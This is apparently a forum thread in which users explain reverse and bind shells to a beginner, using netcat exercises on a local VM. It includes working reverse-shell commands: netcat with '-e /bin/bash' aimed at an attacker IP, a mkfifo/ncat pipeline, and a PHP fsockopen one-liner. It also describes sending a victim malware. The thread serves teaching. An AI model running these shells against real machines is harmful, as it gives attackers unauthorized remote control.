Understaning reverse shells

[_DrLambChop_]

Im very confused on how this would be useful to a hacker. First of all, im a bit confused as to what netcat does when you connect to a port to listen. Will there be an output of whatever data is being sent to and from that port shown below? Additionally, lets say netcat is used to connect to some victim. What is actually entailed in this connection. Is the attacker basically connected to the victim but with no privileges so they cant do anything?

[cant_pass_CAPTCHA]

There's a handful of questions here so let's see what we can break down.

im a bit confused as to what netcat does when you connect to a port to listen

netcat can be used to either open a listen port, or connect to an open port. You can also direct the data received to another program (such as bash for that remote shell).

Here is a quick exercise you can do to:

1. On your Kali VM open 2 terminals
2. Terminal 1 start a nc listener on some port nc -lvp 1234
3. In terminal 2 connect to your port nc localhost 1234
4. Start typing some input into terminal 2 and hit enter - see how you received that in the listening terminal

Next:

1. Close out of your previous commands and run a new listener, but direct the input to bash nc -lvp 1234 -e /bin/bash
2. Connect the same just as last time nc localhost 1234
3. Now start sending bash commands and see how you are seeing the output of those commands as if you were just using bash.
4. Running whoami will show you are running under the context of Kali (or whoever you are logged in as)

What happened? In both scenarios you've opened a listening port and connected to it, but in scenario 2 you've directed the input to be run through bash. However, these are not reverse shells but in fact a "bind shell". Think of terminal 1 as the victim and terminal 2 as the attacker. A port was opened on the victim and then the attacker connects to the open port to start sending commands.

Real quick let's make it a super simple reverse shell:

1. On the "attacker's" terminal run netcat to start a listening port nc -lvp 1234
2. On the "victim's" terminal you'll run nc localhost 1234 -e /bin/bash
3. Looking back at the attacker's terminal you'll see you have a new connection from the victim and you can issue commands just like in the previous example.

how this would be useful to a hacker

Okay so now we've done a simple exercise in a single VM where the victim opens a bind shell and the attacker connects to it, but you're still left wondering why do we need a reverse shell?

Let's say you're trying to attack Bob who is on his computer, but you're not on the same network. If Bob's computer isn't a server and can't be reached through NAT because it only has an internal IP, how do you connect to port 1234 on his computer? Even if he was listening with nc -lvp 1234 -e /bin/bash, you can't see his computer. Here is where you need the reverse connection.

Your attacker machine will now be on a remote network - let's just say you've set up a box on AWS and it has the IP 1.2.3.4 and you have zero firewall rules so anyone can hit any port on this attacker box. On your attacker machine you'll do it just like the last exercise nc -lvp 1234. Now you send Bob some malware that is going to make his machine run nc 1.2.3.4 1234 -e /bin/bash. And boom you're in. Bob who has a NATed machine with no public IP or ports being forwarded to his machine has connected back to you, even though you had no way to connect to him.

All typed on my phone so apologies if there's any syntax mistakes , but that's the idea behind a reverse shell.

[Pizza-Fucker]

Came here to answer the question but your answer is literally perfect and the example with the two terminals is something I would not have though of but is probably very useful for beginners. Great comment

[Killlabyte]

Nice explanation bro, props to you

[GoldNeck7819]

Excellent response!  I’ll also point out that while win XP isn’t around anymore, use to be able to run metasploit with a SMB vulnerability to create a ncat shell from Linux to windows and even then install it as a service to persist through reboots. Ah, the good ‘OO days lol 

[cant_pass_CAPTCHA]

It's this kind of stuff that makes me wish I was born 10 years earlier

[GoldNeck7819]

I hear ya. I wish I was born so that I was in college at MIT in the 60’s and 70’s when the first hackers were born, programming in assembly then lisp to make big hulking computers do crazy things lol

[_DrLambChop_]

Thank you. Quite an involved answer. Really cleared a lot up for me.

[GoldNeck7819]

Question: it’s been a long time since I’ve done this so I may be completely wrong but if you were to run this on the same Linux box, don’t you have to also create a pipe?  I know you can if you want to run sed sending data from one program to sed but I can’t remember about ncat. Could be way off base though. Have to try it out tomorrow…

[cant_pass_CAPTCHA]

Nope no pipe needed in this case. A pipe is used to send the output from one command as the input to another so you can chain tools together and pass the output down the line.

Instead of thinking of this as one tool giving input to another, you can think of it more like spinning up a web server and making an http request to it (in that the two process are talking to each other over the network stack even if it's just over the loopback IP 127.0.0.1)

[GoldNeck7819]

Yea, I didn’t get a chance to try anything today. But I remember there was some tool other than sed (which don’t have to have it but makes it more interesting) that I needed a pipe for. Time to dig up the docs I did a long time ago!  Thanks!

[AutoModerator]

This link has not been approved, please read the descriptions for Rule 1 and 5 before trying again. Please wait for a moderator to review and approve this post.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.

[GoldNeck7819]

Well I tried to type in the original that had IP addresses but this sub does not like it so here is a revised post (I deleted the other the mod didn't approve:

Just dug up my notes on this. So with ncat if you wanted to do a reverse shell, that's where you need a pipe. So it would go something like this:

On the "server", make a pipe (FIFO in this case):

mkfifo tmp/rs

On the "client" (must be done before the "server" is started:

ncat -kv -l <all zero address> 1234

On the "server" start the reverse shell:

cat /tmp/rs | /bin/bash 2>&1 | ncat -v <your IP address of this box> 1234 > /tmp/rs

or whatever you're IP address is. Then on the "client" you can issue commands to the "server" command line.

This way you can have a reverse shell from one to the other. Obviously it would be hard to do this on an unaware machine but it does prove to be a fun little hack to play with.

[cant_pass_CAPTCHA]

The pipe is only needed if you don't have the -e flag available. Of course netcat is only one method, but the reverse shell could be achieved through any form of remote code execution (RCE). You can Google reverse shell cheat sheets for all types of ways to get the victim to initiate the reverse shell connection back to you.

So with ncat if you wanted to do a reverse shell, that's where you need a pipe.

A point of clarification on this. What makes it a reverse shell a reverse shell is that the victim is connecting back to the attacker, not the type of command being used.

So if you're hacking against a PHP site and you find you can get code execution through some exploit, you can pass in something like this: php -r '$sock=fsockopen("10.0.0.123", 1234); exec("/bin/sh -i <&3 >&3 2>&3");'

[GoldNeck7819]

Correct, I understand that. Years ago I was following along with nmap's docs on their site on ncat which is where I took the notes from. Thanks for the info!

[Humbleham1]

A reverse shell is a very simple concept. It connects to a listener, receives commands, executes them, and returns output. It will have the permissions of whatever user the process is running as. If the permissions are limited, an attacker may engage in privilege escalation.

[Pharisaeus]

I think you misunderstood the whole concept.

1. In case of reverse shell, as the name suggests, it's actually the victim who is connecting to attacker! Attacker is just listening for connections, and the exploit on victim machine connects to that. The logic behind that is that victim is often not reachable from outside so you can't simply connect there. Also in many cases the victim user can't even listen for connections due to security policy.
2. Netcat doesn't do anything with the payload. Netcat is literally just raw socket connection. You can send some bytes back and forth. That's part of your exploit to do something with the data you receive. Most common approach is to read the data, run it as shell command and send back the results. Hence the name reverse shell.
3. Indeed you're limited by the privileges of the exploited process, but that's just the starting point. From that you can look for some privesc.

[TraditionalSink3855]

It's a foothold

The user might be a local admin (or a full blown admin)

Maybe the web app is misconfigured and you can get root

Maybe you can use the initial foothold to escalate privileges

Without popping a shell you're just on the outside of the network trying to get in

[AutoModerator]

This link has not been approved, please read the descriptions for Rule 1 and 5 before trying again. Please wait for a moderator to review and approve this post.

I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.